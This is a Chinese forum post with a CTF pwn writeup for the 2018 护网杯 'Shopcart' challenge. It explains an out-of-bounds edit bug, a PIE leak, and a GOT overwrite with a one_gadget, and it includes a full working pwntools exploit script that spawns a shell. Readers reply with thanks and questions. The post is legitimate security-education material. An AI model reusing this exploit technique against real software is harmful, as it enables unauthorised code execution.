首页
社区
课程
招聘
[原创]护网杯 Shopcart writeup
2018-10-14 21:04 9446

[原创]护网杯 Shopcart writeup

2018-10-14 21:04
9446
额,护网杯在学习之余,打着玩看了下题,re不会,就只能看看pwn题了,又被大佬吊打,只搞出前两个,第一个就不说了,第二个发现大佬们用到了堆的解法,但是我自己做的时候没用堆, 所以分享下。


Checksec:


开了PIE,第一步肯定得泄露地址。

静态分析下:

程序一共有两个菜单,第一个菜单:

可以用的功能就是getmoney(这里我自己命名了下),没有删除,没有edit。这个函数的功能就是总共可以申请20个0x10大小的小块。小块的前8字节存储输入的地址,后8字节存的是9999,而每次输入是往一个全局变量数组里边输入8个字符,也就是8个字节。并将这个块的地址存储到全局的数组中(record)



然后看看第二个菜单:
功能齐全,添加,删除,编辑,样样都有。

先看添加:

也是有一个0x10大小的小块,来记录申请的块的地址,和一个数字,申请的size是我们自己定的,然后输入内容到大块,最后把小块记录到另外一个全局变量中。


然后是删除:

根据Index,先free大块,然后free记录大块的小块,并且填充为0.




UAF没希望咯。

再看看 编辑:


根据用户输入的索引v0,然后在提示信息中,二重指针解引用,打印record_chunk数组中一项存的小块中大块地址对应的内容(也就是打印大块的内容),然后再往里边修改内容。这里存在数组越界读取和修改。record_chunk往上是之前用到的一些全局数组,再往上是got表。


到这里思路就来了,只要用这个找到一个地方,指向的内容可以泄露程序内部的地址就行了,一开始我打印的got表libc_main中指向的内容,因为我调试看了,内容里边有个jmp xxxx指令,xxxx就是地址,结果会崩。不行。后来发现在0x202068处存有指向自己的指针,那就可以泄露地址了,泄露了后还得把那个地址回填进去,不然会崩。



根据edit的逻辑是解引用二重指针,然后往里边输入内容,只要我们找到一个地方存有指向got表的指针的话,就可以修改got表了。联想到之前第一个菜单中记录小chunk的全局数组record记录着指向另外一个全局数组money

并且根据edit的逻辑,如果索引为负值的话,就可以访问到record数组,并修改money数组的内容。修改其中一个money数组中的元素指向它相邻元素,并把它相邻元素的值改为put_got表的内容的话,就形成了指向got表指针的指针的了。



所以解题操作:

一、首先进入小菜单,正常的创建块,填充几个内容,我是全填满了。





二、index为-47,泄露地址并回填



三、通过edit 修改money[0]为money[1]的地址


四、通过edit修改money[1]的内容为puts_got表地址


五、通过越界到money[0],修改并泄露puts的地址,然后使用onegadget填充puts_got表项




下面是完整exp:
from pwn import *
context.log_level="debug"
def modify(index,content,flag=0):
    p.recvuntil("buy!\n")
    p.sendline("3")
    p.recvuntil("y?\n")
    p.sendline(str(index))
    if flag==1:
        #p.interactive()
        p.recvuntil("modify ")
        addr=u64(p.recv(6).ljust(8,'\0'))
        return addr
    else:
        p.send(content)
libc=ELF("libc.so")
p=process('./shop')
for i in range(0x13):
    p.recvuntil("man!\n")
    p.sendline("1")
    p.recvuntil("Dollar?\n")
    p.sendline("aaa")
p.recvuntil("man!\n")
p.sendline("3")
p.recvuntil("buy!\n")
p.sendline("3")
p.recvuntil("y?\n")
raw_input()
p.sendline("-47")
p.recvuntil("modify ")
raw_input()
addr=u64(p.recv(6).ljust(8,'\0'))-0x202068
print"base:"+ hex(addr)
puts_got=0x202020+addr
print "puts_got:"+hex(puts_got)
p.sendline(p64(addr+0x202068))
modify(-0x14,p64(addr+0x2020a8),0)
#raw_input()
modify(-0x13,p64(puts_got),0)
puts_addr=modify(-0x28,"",1)

print "puts:"+hex(puts_addr)
p.send(p64(puts_addr-libc.symbols['puts']+0x45216))
p.interactive()






[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2018-10-14 21:44 被notwolf编辑 ,原因:
上传的附件:
  • shop (10.23kb,25次下载)
收藏
点赞2
打赏
分享
最新回复 (7)
雪    币: 32408
活跃值: (18750)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2018-10-14 21:27
2
0
感谢分享!
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lbbb 2018-10-17 23:22
3
0
感谢分享! 
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lbbb 2018-10-18 09:06
4
0
请问那个onegadget 是什么啊
雪    币: 245
活跃值: (80)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
peekl 2018-10-20 10:28
5
0
请教一下,这个指针是怎么发现的,"0x202068处存有指向自己的指针“
雪    币: 4871
活跃值: (821)
能力值: ( LV13,RANK:319 )
在线值:
发帖
回帖
粉丝
notwolf 4 2018-10-20 10:44
6
0
peekl 请教一下,这个指针是怎么发现的,"0x202068处存有指向自己的指针“
上下拖着看,看到的,应该是出题人自己安排的吧
雪    币: 4871
活跃值: (821)
能力值: ( LV13,RANK:319 )
在线值:
发帖
回帖
粉丝
notwolf 4 2018-10-20 10:44
7
0
菜鸟_469952 请问那个onegadget 是什么啊
存在于Libc当中的execv("/bin/sh")片段
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kiraaaaaaa 2018-10-27 10:27
8
0
0x202068这个真没发现。。。66666
游客
登录 | 注册 方可回帖
返回